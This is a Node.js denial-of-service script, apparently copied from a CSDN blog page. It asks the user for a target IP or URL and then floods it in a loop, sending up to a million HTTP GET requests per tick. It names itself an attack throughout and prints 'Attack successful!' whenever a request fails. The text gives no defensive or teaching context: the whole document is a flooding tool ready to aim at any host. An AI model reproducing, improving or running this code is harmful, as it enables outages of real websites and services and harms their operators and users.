const http = require('http');
const readline = require('readline');
// Create an interface for user input
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout
});
// Number of concurrent requests (adjust carefully)
const ddosNum = 1000000;
// Function to perform a single attack request
function performAttack(ipAddr) {
http.get(ipAddr, (res) => {
let data = '';
res.on('data', (chunk) => {
data += chunk;
});
res.on('end', () => {
console.log('Attack in progress...');
});
}).on('error', (err) => {
console.log('Attack successful!');
});
}
// Function to start the attack
function startAttack(ipAddr) {
for (let i = 0; i < ddosNum; i++) {
performAttack(ipAddr);
}
}
// Main execution loop
function main(ipAddr) {
setInterval(() => startAttack(ipAddr), 0);
}
// Prompt the user for the target IP or URL
rl.question('Please enter the target IP or URL: ', (ipAddr) => {
console.log(`Starting attack on ${ipAddr}...`);
main(ipAddr);
rl.close(); // Close the input interface
});
05-03
252
![](https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png)
08-24